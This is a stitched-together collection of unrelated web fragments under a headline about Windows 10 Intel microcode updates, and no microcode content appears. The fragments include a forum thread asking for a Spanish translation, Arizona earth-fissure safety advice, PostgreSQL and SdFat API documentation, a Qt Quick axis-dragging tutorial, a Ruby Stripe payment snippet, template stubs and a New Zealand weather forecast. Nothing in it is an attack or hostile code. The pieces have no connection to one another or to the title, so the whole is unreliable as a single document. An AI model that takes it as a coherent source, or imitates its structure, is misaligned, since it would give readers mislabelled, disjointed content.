Microsoft Releases New Windows 10 Intel Cpu Microcode Updates
Intel Spectre Meltdown Microcode Updates March 11 2018 Born S Tech And Windows World


I've recommended this addon to a lot of my friends, but they complained that its not in Spanish.
Could you add Spanish to the language list??
My Platoon from Argentina (42 members) want to use it, with little success.
There's a lot of players from Spain, mexico, chile, argentina, etc, that will like this..
Thanks in advance..
BrainFooLong
Administrator
I could, if i have a translator for this. If you have trusty people for this job that speak good english and german please contact me. See "Contact" at navigation (email).
Greetz
BrainFooLong
Administrator
PS: Mistake, not english and german.
I need people that speak good english and spanish.
Topicstarter
Guest
Hi there, could you guys work on the spanish language version, i use it english but a lot of friend of mine and people from latin america use the Battlelog in spanish, so i guess it would be awesome to give they a chance to use it.


Various input and output streams, along with utilities for working with the
java.io
and
java.nio
packages.


EARTH FISSURES
Earth fissures occur in areas that have subsided due to extensive groundwater withdrawl, where the ground has compacted unevenly when the groundwater table drops. Four counties in Arizona are particularly susceptible to earth fissures: Pinal, Maricopa, Cochise and Pima.
Earth fissures cause damage to infrastructure (utility lines, roads, canals, etc.) and buildings, change flood and drainange patterns, and pose a life safety risk. Additionally, earth fissures are a direct path to the groundwater table, so pollutants and contaminants placed within the fissure will impact water quality fairly quickly. Earth fissures are a long-term problem, and will continue to form as long as subsidence continues unchecked.
Reducing the occurrence of earth fissures and their associated effects is a community effort. Below are some tips:
UTILITIES, PUBLIC WORKS, AND TRANSPORTATION
-
Lessen dependence on groundwater by using alternative sources;
-
Be aware of where fissures are located and avoid building infrastructure through, on, or over them;
-
Avoid routing drainage into fissures: watering fissures makes them grow;
-
Ensure alternate emergency routes exist where fissures cross existing roads; and
-
Monitor storm and sewage drains for flow reversal.
PLANNING AND ZONING
-
Encourage developers to avoid fissure-prone areas;
-
Require a minimum setback for buildings/infrastructure in fissure areas; and
-
Prohibit residential zones in fissure areas.
HOMEOWNERS
-
Educate yourself on fissures before buying property in fissure-prone areas;
-
Carefully read the disclosure before buying; and
-
Fence off the fissure to keep animals and children out.
EVERYONE
-
Practice smart water conservation - even if you don't live in a fissure-prone areas, your water consumption may be contributing to the fissure formation in other areas;
-
Do NOT dump garbage, appliances, manure, or other contaminants into fissures; and
-
If you see something you suspect is a fissure,
report it to the Arizona Geological Survey


npm-name
Check whether a package or organization name is available on npm.
More information: home page
- Check if a specific package name is available in the npm registry:
npm-name package
- Find similar package names in the npm registry:
npm-name --similar package


---
layout: archive
title: Lean Prover Zulip Chat Archive
permalink: 116395maths/52376ConstructiveLogic.html
---
The archive URL format has changed. Please find this page at:
https://leanprover-community.github.io/archive/stream/116395-maths/topic/Constructive.20Logic.html


Go to Chainradar tx page.
And copy the entire content and paste it in the box below.
AEON Received: {{data.receivedAmount}} AEON
Check
If you find it useful, please consider contributing
AEON: WmtsJ7cC8UGAFNaSzg16bN73EaL5JRa46dYZJG77DVmGJEWyhebj8QQLsotcFMCHvHJM6ba4uKDEAEyrssNhfodY1LdbW17Yo


{% extends 'layouts/layout-bsa-design-system.html' %} {% set active = "components" %} {% set activesub = "Alerts" %} {% block pageTitle %} Alerts - NHSBSA design system {% endblock %} {% block beforeContent %} {% include "includes/breadcrumbs__components.html" %} {% endblock %} {% block content %}
Alert users to important information.
Use alerts to inform users that something important has happened. Either an action they need to take or to notify them of a success/failure.
Only use when you have identified that users need alerting to certain content.
Passport renewals found this component worked better then the confirmation pattern for a payment success page. They observed users engaged with the next steps on the page, rather than thinking they were finished.


Here you’ll find all the different topics and details you should be aware of when using GeRes2. The documentation is work-in-progress and will improve over time as we get feedback from developers using GeRes2. Also we are still actively working on some parts of the documentation.
The following index provides a complete view on the topics that are part of this documentation Wiki or will soon become a part of the Wiki. It helps to understand, how-to setup GeRes2 in your own environments, how-to deploy jobs as well as developing against the GeRes2 Web API for various use cases.
|
Topic Group |
Topic |
Needed for |
Needed for |
|
General Setup |
yes |
yes |
|
|
optional |
yes |
||
|
yes |
yes |
||
|
Deployment |
yes |
no |
|
|
Deploy GeRes2 to your Microsoft Azure Subscription |
no |
yes |
|
|
yes |
yes |
||
|
Server-side Development |
Developing .NET-based Jobs to be executed in GeRes2 |
yes |
yes |
|
Development of AutoScaler Policies for GeRes2 |
no |
yes |
|
|
Client-side Development |
Using the GeRes2 Client SDK |
optional |
optional |
|
Submitting Jobs to GeRes2 |
yes |
yes |
|
|
Subscribe to SignalR-based notifications |
optional |
optional |
|
|
Creating, Closing and Cancelling Batches |
optional |
optional |
|
|
Cancelation of Jobs |
optional |
optional |
|
|
Get Jobs and their status through the Monitoring API |
optional |
optional |
After a full re-build of the solution you’ll find a folder named “deploy” in your GeRes2-root folder (where you downloaded or cloned the source code to on your local machine). In this folder you find all the libraries you need to reference in your own implementations, for both, client-side and server-side development.
In addition find deployment directories for the sample jobs shipping with GeRes2. You can deploy those for trying either the comprehensive end-2-end scenario sample or the simple GeresJobRequestorSampleConsole application to test your GeRes2 deployment. For details on how-to deploy those jobs look at the Wiki-Page “Deploying Jobs for a GeRes2-instance in Blob-Storage” as listed in the table above.
For all the topics listed in the table above, we do ship samples as part of the GeRes2 solution, already. If you are eager to understand and see, how things do work, feel free to dig into the samples we ship with the solution. Below you find a table showing which sample projects do show which functions from GeRes2:
| Sample Project | Functionality covered |
| .\Samples\GeresJobSamples.csproj | * Standard job implementation (FinancialYearEnd.cs) * Progress job Implementation (UpdateWaitingPostings.cs) |
| .\Samples\GeresJobRequestorSampleConsole.csproj | * Using the GeRes2 .NET Client SDK * Submitting jobs using the Client SDK * Creating batches and submitting jobs to batches * Getting jobs and their status using the monitoring API * Getting a list of batches using the monitoring API |
| .\Samples\GeresAutoscalerPolicySamples.csproj | * Implementing different types of AutoScaler Policies * Deploying AutoScaler policies (via post-build scripts) |
| .\Samples\End2End\*.csproj | * End-2-End sample * WPF-based job submission client with notifications * Complex job implementation using external executables * External executable shipping as part of Job Implementation |
| .\Geres.ClientSdk.Core.csproj | * Demonstrates usage of the job-submission Web API * Shows usage of the monitoring Web API Note: although this is not a sample but rather an integral part of GeRes2, you can use it to learn, how to use the Web APIs and SignalR Hubs natively. |


In Rubble Town Rumble, you play as Angus the Dwarfslayer, who has traveled to Rubbletown on some non-descript journey and went a little overboard on the drinking.
Now all the dwarves there are sober and infuriated. Kick, slash, and destroy your way through these beardy foes!
RTR was made as the final project for my 3D Game Development class, on a team of 5. I was the:
- Producer, responsible for keeping everyone, and the project as a whole on track
- Programmer, primarily responsible for the Player Controller and Shop
- Game Designer, where I created the original premise, and designed many of the game's systems
- 3D Modeller, for the Player's Shield
- UI Designer, creating the layout and functionality of the HUD, pause menu, and main menu
- "Git Kraker", affectionately. Made sure everyone new how to use Git, GitHub, and GitKraken, as well as managing different branches and resolving merge conflicts
RTR was ported to VR as the final project for my Virtual Reality Development class, on a team of 2. I was the:
- Programmer, responsible for porting and recreating much of the game's systems, primarily the Player Controller, adding physics to objects and weaponry, and the shop
- I also provided a new "gulping" sound effect, personally.


FeaturesAndBenefits_2_FeatureBenefitEligibility
- Amount : String
Any eligibility criteria where an amount is required to be specified e.g. Minimum Age.
- Description : String
Full description for the eligibility criteria
- Indicator : Boolean
Any eligibility criteria where the value can be indicated by a true or false value. UKResident is True or False
- Name : String
Name provided for the eligibility criteria
- Notes : List
Optional additional notes to supplement the eligibility conditions.
- Period : String
Period for which the other eligibility criteria applies.
- Enum:
- Day
- HalfYear
- Month
- Quarter
- Week
- AcademicTerm
- Year
- Textual : String
Any eligibility criteria where a long description is supplied
- Type : String
Eligibility type - method by which we group eligibilities for comparison purposes.
- Enum:
- DirectDebits
- ExistingCustomers
- MinimumOperatingBalance
- MinimumDeposit
- NewCustomersOnly
- PreviousBankruptcyAllowed
- Other
- StudentsOnly
- SoleStudentAccount
- SoleUkAccount
- SwitchersOnly
- UCASFulltimeTwoYears


Question: True/False
Question: Multiple Choice
Question: Short Answer
Character Count:
Question: Essay
Question: Ranking


{% extends 'layout.html' %} {% block title %}Cubetastic{% endblock %} {% block body %}
A timer on the web, that can sync your times across devices!here to use the timer.
An important feature of this site is that it can generate TNoodle scrambles for most of the official puzzles. Click
It's Collabicube time!
Collaborate with your friends in a cubing showdown. Create a group with your friends, and
start solving! Click here to go to
the collabicube page.


ALTER TEXT SEARCH CONFIGURATION name ADD MAPPING FOR token_type [, ... ] WITH dictionary_name [, ... ] ALTER TEXT SEARCH CONFIGURATION name ALTER MAPPING FOR token_type [, ... ] WITH dictionary_name [, ... ] ALTER TEXT SEARCH CONFIGURATION name ALTER MAPPING REPLACE old_dictionary WITH new_dictionary ALTER TEXT SEARCH CONFIGURATION name ALTER MAPPING FOR token_type [, ... ] REPLACE old_dictionary WITH new_dictionary ALTER TEXT SEARCH CONFIGURATION name DROP MAPPING [ IF EXISTS ] FOR token_type [, ... ] ALTER TEXT SEARCH CONFIGURATION name RENAME TO new_name ALTER TEXT SEARCH CONFIGURATION name OWNER TO new_owner
ALTER TEXT SEARCH CONFIGURATION changes the definition of a text search configuration. You can modify its mappings from token types to dictionaries, or change the configuration's name or owner.
You must be the owner of the configuration to use ALTER TEXT SEARCH CONFIGURATION.
The name (optionally schema-qualified) of an existing text search configuration.
The name of a token type that is emitted by the configuration's parser.
The name of a text search dictionary to be consulted for the specified token type(s). If multiple dictionaries are listed, they are consulted in the specified order.
The name of a text search dictionary to be replaced in the mapping.
The name of a text search dictionary to be substituted for old_dictionary.
The new name of the text search configuration.
The new owner of the text search configuration.
The ADD MAPPING FOR form installs a list of dictionaries to be consulted for the specified token type(s); it is an error if there is already a mapping for any of the token types. The ALTER MAPPING FOR form does the same, but first removing any existing mapping for those token types. The ALTER MAPPING REPLACE forms substitute new_dictionary for old_dictionary anywhere the latter appears. This is done for only the specified token types when FOR appears, or for all mappings of the configuration when it doesn't. The DROP MAPPING form removes all dictionaries for the specified token type(s), causing tokens of those types to be ignored by the text search configuration. It is an error if there is no mapping for the token types, unless IF EXISTS appears.


Blueprint Seller Daeger:
You there, adventurer!
If you're not too busy, can you help me?
"Why did you call me? Unless it's an emergency, I have other things to attend to."


More colors with less light.
Click the half-moon most top-right button to turn the lights on/off.
Headers
Level 2
Level 3
Level 4
Level 5
Level 6
Headers with links
Level 2
Level 3
Level 4
Level 5
Level 6
Code highlight
Mode specific code highlighting themes. Kramdown which is responsible for the color highlighting may be more limited than your IDE.
#!/usr/bin/env python
"""
Test file for syntax
"""
# TODO: Use dark mode
from sys import os
def foo(bar):
try:
print(bar)
except NameError:
print("Variable bar is not defined")
class Bar(object):
def __init__(self):
foo(1)
self.octal = '\04'
self.text = """Example \t\n"""
def __exit__(self, *args):
print('exit\u1111\xFF')
pass
@staticmethod
def example():
assert (1.0 and 2L) or True
return { "example": [(1,), (r'raw', u'unicode')]}
Tables
| hex | dec | oct |
|---|---|---|
| 0 | 0 | 0 |
| 5 | 5 | 5 |
| A | 10 | 12 |
| F | 16 | 20 |
| F5 | 21 | 25 |
KaTeX
Some KaTeX diagrams to check in dark mode:
\[\begin{CD} A @>a>> B \\ @VbVV @AAcA \\ C @= D \end{CD}\] \[\utilde{AB}\]


Access FAT16 and FAT32 partitions on raw file devices.
More...
#include <FatPartition.h>
Access FAT16 and FAT32 partitions on raw file devices.
◆ FatPartition()
| FatPartition::FatPartition |
( |
| ) |
|
|
inline |
◆ bytesPerCluster()
| uint16_t FatPartition::bytesPerCluster |
( |
| ) |
|
|
inline |
- Returns
- Number of bytes in a cluster.
◆ bytesPerClusterShift()
| uint8_t FatPartition::bytesPerClusterShift |
( |
| ) |
|
|
inline |
- Returns
- The shift count required to multiply by bytesPerCluster.
◆ bytesPerSector()
| uint16_t FatPartition::bytesPerSector |
( |
| ) |
|
|
inline |
- Returns
- Number of bytes per sector.
◆ bytesPerSectorShift()
| uint8_t FatPartition::bytesPerSectorShift |
( |
| ) |
|
|
inline |
- Returns
- The shift count required to multiply by bytesPerCluster.
◆ cacheClear()
| cache_t* FatPartition::cacheClear |
( |
| ) |
|
|
inline |
Clear the cache and returns a pointer to the cache. Not for normal apps.
- Returns
- A pointer to the cache buffer or zero if an error occurs.
◆ clusterCount()
| uint32_t FatPartition::clusterCount |
( |
| ) |
const |
|
inline |
- Returns
- The total number of clusters in the volume.
◆ dataStartSector()
| uint32_t FatPartition::dataStartSector |
( |
| ) |
const |
|
inline |
- Returns
- The logical sector number for the start of file data.
◆ dbgFat()
| int8_t FatPartition::dbgFat |
( |
uint32_t |
n, |
|
|
uint32_t * |
v |
|
) |
| |
|
inline |
Debug access to FAT table
- Parameters
-
| [in] | n | cluster number. |
| [out] | v | value of entry |
- Returns
- -1 error, 0 EOC, else 1.
◆ fatCount()
| uint8_t FatPartition::fatCount |
( |
| ) |
|
|
inline |
- Returns
- The number of File Allocation Tables.
◆ fatStartSector()
| uint32_t FatPartition::fatStartSector |
( |
| ) |
const |
|
inline |
- Returns
- The logical sector number for the start of the first FAT.
◆ fatType()
| uint8_t FatPartition::fatType |
( |
| ) |
const |
|
inline |
- Returns
- The FAT type of the volume. Values are 12, 16 or 32.
◆ freeClusterCount()
| int32_t FatPartition::freeClusterCount |
( |
| ) |
|
Volume free space in clusters.
- Returns
- Count of free clusters for success or -1 if an error occurs.
◆ init()
| bool FatPartition::init |
( |
BlockDevice * |
dev, |
|
|
uint8_t |
part = 1 |
|
) |
| |
Initialize a FAT partition.
- Parameters
-
| [in] | dev | BlockDevice for this partition. |
| [in] | part | The partition to be used. Legal values for part are 1-4 to use the corresponding partition on a device formatted with a MBR, Master Boot Record, or zero if the device is formatted as a super floppy with the FAT boot sector in sector zero. |
- Returns
- true for success or false for failure.
◆ rootDirEntryCount()
| uint16_t FatPartition::rootDirEntryCount |
( |
| ) |
const |
|
inline |
- Returns
- The number of entries in the root directory for FAT16 volumes.
◆ rootDirStart()
| uint32_t FatPartition::rootDirStart |
( |
| ) |
const |
|
inline |
- Returns
- The logical sector number for the start of the root directory on FAT16 volumes or the first cluster number on FAT32 volumes.
◆ sectorMask()
| uint16_t FatPartition::sectorMask |
( |
| ) |
|
|
inline |
- Returns
- Mask for sector offset.
◆ sectorsPerCluster()
| uint8_t FatPartition::sectorsPerCluster |
( |
| ) |
const |
|
inline |
- Returns
- The volume's cluster size in sectors.
◆ sectorsPerClusterShift()
| uint8_t FatPartition::sectorsPerClusterShift |
( |
| ) |
const |
|
inline |
- Returns
- The shift count required to multiply by sectorsPerCluster.
◆ sectorsPerFat()
| uint32_t FatPartition::sectorsPerFat |
( |
| ) |
const |
|
inline |
- Returns
- The number of sectors in one FAT.
◆ volumeSectorCount()
| uint32_t FatPartition::volumeSectorCount |
( |
| ) |
const |
|
inline |
- Returns
- The number of sectors in the volume
◆ FatCache
FatCache allowed access to private members.
◆ FatFile
FatFile allowed access to private members.
The documentation for this class was generated from the following files:
- Arduino/libraries/SdFat/src/FatLib/FatPartition.h
- Arduino/libraries/SdFat/src/FatLib/FatPartition.cpp


Check the page source for a demonstration of using the config for adding help items
Toggle Help Drawer (direct)
Trigger Help via Header Menu Item Click (simulated here)
Open via Drawer
console.log() the Help object
Open Specific Article (Dropped Course)
Open, then add item after 1s (adds 'console/instructor/courseregsettings')
Open, add multiple items after 500ms (adds 'console/instructor/educatorresources', 'console/instructor/validatedinstructor')
Open, remove multiple items after 500ms (removes 'console/instructor/educatorresources', 'console/instructor/validatedinstructor')
Open, then remove all topics.
Open, then sort topics randomly for 5 seconds
Test Accordion Content
Test Signin Content Swap
Test Your Content
WARNING: Content will not be sanitized to match final output, since the sanitizer cannot run in-browser


Calculating loss rates¶
-
Qcircuit.
loss_rates
(**kwargs)[source]¶ Returns the loss rates of the circuit normal modes.
The array is ordered ordered with increasing normal mode frequencies such that the first element of the array corresponds to the loss rate of the lowest frequency mode. Losses are provided in units of Hertz, not in angular frequency.
- Parameters
kwargs – Values for un-specified circuit components, ex:
L=1e-9
.- Returns
Normal mode losses of the circuit
- Return type
numpy.array
Notes
These loss rates \(\kappa_m\) correspond to twice the imaginary parts of the complex frequencies which make the conductance matrix singular, or equivalently twice the imaginary parts of the poles of the impedance calculated between the nodes of an inductor or josephon junction.
For further details on the underlying theory, see https://arxiv.org/pdf/1908.10342.pdf.
The dynamics of the circuit can be studied in QuTiP by considering collapse operators for the m-th mode \(\sqrt{2\pi\kappa_m(n_{th,m}+1)}\hat{a}_m\) and \(\sqrt{2\pi\kappa_m(n_{th,m})}\hat{a}_m^\dagger\) where \(n_{th,m}\) is the average thermal occupation of mode \(m\) and \(\hat{a}_m\) is the annihilation operator of the m-th normal mode of the circuit. Note that dissipation rates that are obtained from this function have to be converted to angular frequencies through the factor \(2\pi\). If you are also using a hamiltonian generated from qucat, then it too should be converted to angular frequencies by multiplying the entire Hamiltonian by \(2\pi\) when performing time-dependant simulations.


Stapler depends on localizer for the i18n support.
For Jelly view scripts, the convention is to place localized message resource files by using the same base name. For example, if you are writing foo.jelly, its property files will be placed in files like foo.properties and foo_ja.properties.
In this set up, Jelly view scripts can refer to message resources by using a special expression of the form ${%KEY(arg1,arg2,...)}. The messages are formatted by using MessageFormat, and arguments are individually parsed as JEXL scripts. If there's no arguments, parenthesis can be omitted and thus it can be simply written as ${%KEY}.
If you need to refer to message resources from within a JEXL expression, you can use a string literal notation "%KEY(arg1,arg2,...)" or its argument-less short form "%KEY". For example, ${obj.methodCall(1,true,"%Message")}
If the specified KEY is not available in the property files, the key itself will be used as a formatting string. The key can contain any character except '(' and '}'. This convenient defaulting allows you to skip writing foo.properties most of the time (that is, you'd only need property files for translations.)


Azure Cosmos DB
Offering
globally distributed, multi-model database
Features
up to a maximum of 32 vCPUs and 244 GiB of RAM
10 GB up to a maximum of 64 TB Volume growing
Low Latency Read Replicas, up to 15 in three AZ
data model
DocumentDB API
MongoDB API
Table API
Graph (Gremlin) API
Additional data models coming soon
Available
any Azure Region
Backup & Recovery
Automatic, Continuous, Incremental Backups and Point-in-time Restore
Security


You have learned how to use the MEI ProfileDrafter for creating MEI Customizations through a graphical user interface. You have learned that this tool has limited scope, but already allows to restrict MEI considerably. You have learned that the ODD markup generated by the tool is actually pretty simple, and can be done manually equally well. You learned how to use @modes in advanced ODD customizations, and how they allow more fine-grained control over the resulting schema. Along the way, you also learned how to compile an ODD customization into a RelaxNG file that can be used for validation, using the MEI Customization Service.
Of course, there are other ways to compile ODD, there are additional concepts to keep in mind, and the fact that MEI uses an older version of ODD than the TEI (as described in the Understanding ODD tutorial) may cause confusion along the way. Working with ODD is surely a bit odd, but it's definitely worth the effort, as it allows you to use a version of MEI that is very specific to your needs. This will help you to provide proper documentation, which will help others to better understand and use your data. So, writing ODD customizations is definitely a good investment in the sustainability of your research.
A word of warning: This tutorial is pretty much work in progress, and may be organized differently after gathering feedback from a number of workshops.


Head contains the metadata of the HTML file Head is not displayed on the web browers except the Title which is on the toolbar


| Interface | Description |
|---|---|
| CommandMarker |
Marker interface indicating a provider of one or more shell commands.
|
| Converter<T> |
Converts between Strings (as displayed by and entered via the shell) and Java objects
|
| ExecutionProcessor |
Extension interface allowing command provider to be called
in a generic fashion just before, and right after, executing a command.
|
| ExecutionStrategy |
Strategy interface to permit the controlled execution of methods.
|
| Parser |
Interface for
SimpleParser . |
| Shell |
Specifies the contract for an interactive shell.
|
| ShellPromptAccessor |
Obtains the prompt used by a
Shell . |
| Class | Description |
|---|---|
| AbstractShell |
Provides a base
Shell implementation. |
| CommandResult | |
| Completion | |
| ExitShellRequest |
An immutable representation of a request to exit the shell.
|
| IdeTerminal |
Terminal used for debugging inside an IDE.
|
| JLineLogHandler |
JDK logging
Handler that emits log messages to a JLine ConsoleReader . |
| JLineShell |
Uses the feature-rich JLine library to provide an interactive
shell.
|
| JLineShellComponent |
Launcher for
JLineShell . |
| MethodTarget |
A method that can be executed via a shell command.
|
| ParserCompleter |
An implementation of JLine's
Completer interface that delegates to a Parser . |
| SimpleExecutionStrategy |
Simple execution strategy for invoking a target method.
|
| SimpleParser |
Default implementation of
Parser . |
| Tokenizer |
Converts a particular buffer into a tokenized structure.
|
| Exception | Description |
|---|---|
| TokenizingException |


Qt Quick 2 Axis Dragging Example
The Qt Quick 2 axis dragging example concentrates on showing how to implement axis range changing by dragging axis labels in QML. It also gives a quick peek to two other new features in Qt Data Visualization 1.1: orthographic projection and dynamic custom item handling.
Running the Example
To run the example from Qt Creator, open the Welcome mode and select the example from Examples. For more information, visit Building and Running an Example.
Overriding Default Input Handling
First we deactivate the default input handling mechanism by setting the active input handler of Scatter3D graph to null
:
Scatter3D { id: scatterGraph inputHandler: null ...
Then we add a MouseArea and set it to fill the parent, which is the same Item
our scatterGraph
is contained in. We also set it to accept only left mouse button presses, as in this example we are not interested in other buttons:
MouseArea { anchors.fill: parent hoverEnabled: true acceptedButtons: Qt.LeftButton ...
Then we need to listen to mouse presses, and when caught, send a selection query to the graph:
onPressed: { scatterGraph.scene.selectionQueryPosition = Qt.point(mouse.x, mouse.y); }
Current mouse position, that will be needed for move distance calculation, is caught in onPositionChanged
:
onPositionChanged: { currentMouseX = mouse.x; currentMouseY = mouse.y; ...
At the end of onPositionChanged
, we'll save the previous mouse position for move distance calculation that will be introduced later:
... previousMouseX = currentMouseX; previousMouseY = currentMouseY; }
Translating Mouse Movement to Axis Range Change
in scatterGraph
we will need to listen to onSelectedElementChanged
signal. The signal is emitted after the selection query has been made in the onPressed
of inputArea
. We set the element type into a property we defined (property int selectedAxisLabel: -1
) in our main component, since it is of a type we are interested in:
onSelectedElementChanged: { if (selectedElement >= AbstractGraph3D.ElementAxisXLabel && selectedElement <= AbstractGraph3D.ElementAxisZLabel) selectedAxisLabel = selectedElement else selectedAxisLabel = -1 }
Then, back in the onPositionChanged
of inputArea
, we check if a mouse button is pressed and if we have a current axis label selection. If the conditions are met, we'll call the function that does the conversion from mouse movement to axis range update:
... if (pressed && selectedAxisLabel != -1) dragAxis(); ...
The conversion is easy in this case, as we have a fixed camera rotation. We can use some precalculated values, calculate mouse move distance, and apply the values to the selected axis range:
function dragAxis() { // Do nothing if previous mouse position is uninitialized if (previousMouseX === -1) return // Directional drag multipliers based on rotation. Camera is locked to 45 degrees, so we // can use one precalculated value instead of calculating xx, xy, zx and zy individually var cameraMultiplier = 0.70710678 // Calculate the mouse move amount var moveX = currentMouseX - previousMouseX var moveY = currentMouseY - previousMouseY // Adjust axes switch (selectedAxisLabel) { case AbstractGraph3D.ElementAxisXLabel: var distance = ((moveX - moveY) * cameraMultiplier) / dragSpeedModifier // Check if we need to change min or max first to avoid invalid ranges if (distance > 0) { scatterGraph.axisX.min -= distance scatterGraph.axisX.max -= distance } else { scatterGraph.axisX.max -= distance scatterGraph.axisX.min -= distance } break case AbstractGraph3D.ElementAxisYLabel: distance = moveY / dragSpeedModifier // Check if we need to change min or max first to avoid invalid ranges if (distance > 0) { scatterGraph.axisY.max += distance scatterGraph.axisY.min += distance } else { scatterGraph.axisY.min += distance scatterGraph.axisY.max += distance } break case AbstractGraph3D.ElementAxisZLabel: distance = ((moveX + moveY) * cameraMultiplier) / dragSpeedModifier // Check if we need to change min or max first to avoid invalid ranges if (distance > 0) { scatterGraph.axisZ.max += distance scatterGraph.axisZ.min += distance } else { scatterGraph.axisZ.min += distance scatterGraph.axisZ.max += distance } break } }
For a more sophisticated conversion from mouse movement to axis range update, see this example.
Other Features
The example also demonstrates how to use orthographic projection and how to update properties of a custom item on the fly.
Orthographic projection is very simple. You'll just need to change orthoProjection
property of scatterGraph
. In this example we have a button for toggling it on and off:
NewButton { id: orthoToggle width: parent.width / 3 text: "Display Orthographic" anchors.left: rangeToggle.right onClicked: { if (scatterGraph.orthoProjection) { text = "Display Orthographic"; scatterGraph.orthoProjection = false // Orthographic projection disables shadows, so we need to switch them back on scatterGraph.shadowQuality = AbstractGraph3D.ShadowQualityLow } else { text = "Display Perspective"; scatterGraph.orthoProjection = true } } }
For custom items, first we'll add one in the customItemList
of scatterGraph
:
customItemList: [ Custom3DItem { id: qtCube meshFile: ":/mesh/cube" textureFile: ":/texture/texture" position: Qt.vector3d(0.65,0.35,0.65) scaling: Qt.vector3d(0.3,0.3,0.3) } ]
We have implemented a timer to add, remove, and rotate all the items in the graph, and we'll use the same timer for rotating the custom item:
onTriggered: { rotationAngle = rotationAngle + 1 qtCube.setRotationAxisAndAngle(Qt.vector3d(1,0,1), rotationAngle) ...
Example Contents
Files:


The Military Road Era
Lyman Dillin in 1840 plowed a furrow from Dubuque to Iowa City, marking a trail for military use. Now called Highway 1, this military road became the avenue of commerce. By 1847, a commercial area running along the ridgeline of the hill (First Street) saw general stores and a blacksmith shop open. Blocks were laid out north and south on either side of the military road.
Within a few years, construction began to change from logs to wood frame and brick buildings. Many existing buildings were influenced by the Military Road era.
Continue to The Railroad Era
home


Microarray data are added to Ensembl Genomes after consultation with relevant scientific user communities to identify experiments of general interest within that community (e.g. WormBase for worms, VectorBase for arthropod disease vectors). Suggestions for new data sets are welcome, and wherever possible these will be derived from publically accessible data sources such as Array Express.
Microarray probe mapping is conducted for non-VectorBase species as described by the Ensembl microarray probe mapping pipeline. The following modifications have been made for VectorBase-derived species.
Probes are mapped using two different programs according to probe length - short probes (Bowtie2 alignment, while longer probes (>200bp) are mapped using Exonerate. The reason for processing the probes differently according to length is based on the need to rapidly map large numers of probes across many different species. The majority of VectorBase probes are short (Bowtie2 alignments), which are significantly faster to perform than Exonerate. Longer probes (>200bp) are often derived from cDNA/EST sequences and span multiple exon/intron junctions - these probes are mapped with Exonerate as it detects these junctions in an accurate and sensitive manner. Probes are mapped against both the genomic sequence and the transcripts. Where high quality hits are found on the transcript but not on the genomic sequence, the probe sequence is projected from the transcript sequence back into genomic coordinates.
Alignments are stored as described by the Ensembl microarray probe mapping pipeline, but only probes that match 10 or fewer unique locations in the genome are stored.
The association of probes and probe sets with transcripts is performed as described in the Ensembl microarray probe mapping pipeline, except that for VectorBase species the UTR annotation of the transcript is followed strictly and no attempt is made to extend the UTR region based on the mean/modal UTR statistics of the transcripts.
The probe mappings and transcript annotations are stored in Ensembl functional genomics (funcgen) databases and can be programatically accessed using the funcgen API. POD documentation is available:
Probe and ProbeSet level transcript annotations are stored in the funcgen databases and can be accessed using the API, or the relevant Ensembl Genomes BioMart.


{% extends path+"/../layout.html" %} {% block leftcol %}
The page you're on will close in 5 minutes due to inactivity and you'll have to start again.
Possible error pages: Save and upload your fit note | Error 1: try again | Error 2: try again or post | Error 3: try again, use different device or post {% endblock %}


MANAGEMENT OF STATE POPULATION GROWTH
Section 6. The State and its political subdivisions, as provided by general law, shall plan and manage the growth of the population to protect and preserve the public health and welfare; except that each political subdivision, as provided by general law, may plan and manage the growth of its population in a more restrictive manner than the State. [Add Const Con 1978 and election Nov7, 1978]


A maths puzzle game.
That's Numberwang! Congratulations.
Wangernumb! Something just dosn't add up here.
Generate a new game


This test makes sure that removing a track by setting video.innerHTML doesn't crash (https://bugs.webkit.org/show_bug.cgi?id=100981).
If this test does not crash, it passes.


|
Print preview panel
|
| |
Note that the icons may vary according to the used theme/skin. |
Description:
This window will preview a PDF report or view.
|
Zoom in button
When presing this button the page in the "current page view" will be enlarged.
Zoom out button
When presing this button the page in the "current page view" will be shrinked.
Page view
In the page view all the pages are displayed as thumbnails. In order to select a page you
should double click on the desired page. The selected page will be displayed in the
"current page view".
Current page view
Here will be displayed the selected page in the report. Is somehow the "working area" of
the report.
Close view button
After you're done with the report, you can close the report by clicking this button.
|
|


procedure SimpleGradient(StartPoint: TFloatPoint; StartColor: TColor32; EndPoint: TFloatPoint; EndColor: TColor32); virtual;
With SimpleGradient then start point and end point of the gradient can be set along with a start color and end color at these points. Based on these values the center, radius and angle of the gradient is calculated.


{{ partial "highlight.html" . }} {{ partial "backgroundColor.html" . }} {{ partial "googleAnalytics.html" . }}


def save_with_payment
if valid?
self.save
s = Subscription.create subscription_plan_id: self.subscription_plan_id, user_id: self.id
s.set_expiration
customer = Stripe::Customer.create(
card: stripe_card_token,
plan: s.plan.name,
email: username
)
charge = Stripe::Charge.create(
customer: customer.id,
amount: s.plan.amount,
description: 'Rails Stripe customer',
currency: 'usd'
)
self.stripe_customer_id = customer.id
self.save
end
rescue Stripe::InvalidRequestError => e
errors.add :base, "There was a problem with your credit card."
false
end


"Clean your BBQ" - MetService
by MetServiceMetService expects a bumpy start to the week’s weather, and an improving trend towards the weekend. Barbeque weather is forecast later this week.
MetService Meteorologist Andrew James explains, “Pohutukawa flowers are starting to come out in Auckland. Days are getting longer. We have a couple of fronts on Monday and Tuesday, but after that weather is on the up. Get ready for this and clean your barbecue.”
A couple of fronts during the first half of this week mean more wet weather for Westland, with an Orange Heavy Rain Warning in force there. Northwest winds ahead of the rain band mean another warmer spell for eastern parts of the South Island. The fronts are felt over the North Island too, with on and off showers until Wednesday, but there will be sunny breaks in between. Hawkes bay is expected to be warm, with Napier forecast to reach 26C on Wednesday and 25C expected in Hastings.
Fine weather looms on the horizon for the second half of the week.
A ridge of high pressure begins to move over the country from Wednesday, and conditions should be great for a Thursday evening barbeque. “For most regions of the country, Thursday looks like the best night for that BBQ,” says James.
High pressure is set to stay around this weekend, with the exception of a front affecting Fiordland, so most kiwis will get another chance to crank the barbie.


${require('./includes/head.html')}
${require('./includes/header.html')}"The world is bigger than your view of the world. There’s always room for a new idea, a new step..." - Anonymous
In the year 2016, we at EkStep set ourselves an audacious goal - to ‘Educate 200 million children by the year 2020’. Building digital infrastructure for learning was the only way to affect change at this scale. In the course of our journey, we built many digital solutions for the learning domain.
Today, as we near our goal post, we ask - What next? We decided to think beyond.
Education is a global need not encumbered by age, date or region. Why confine ourselves to an age group or time limit?
Our free and open source solutions are robust at scale. How can global citizens leverage these solutions?
Ours was not a solitary journey. Others willingly partnered with us, contributing their expertise in areas that were not our core strength. What will it take to build an ecosystem that connects and nurtures?
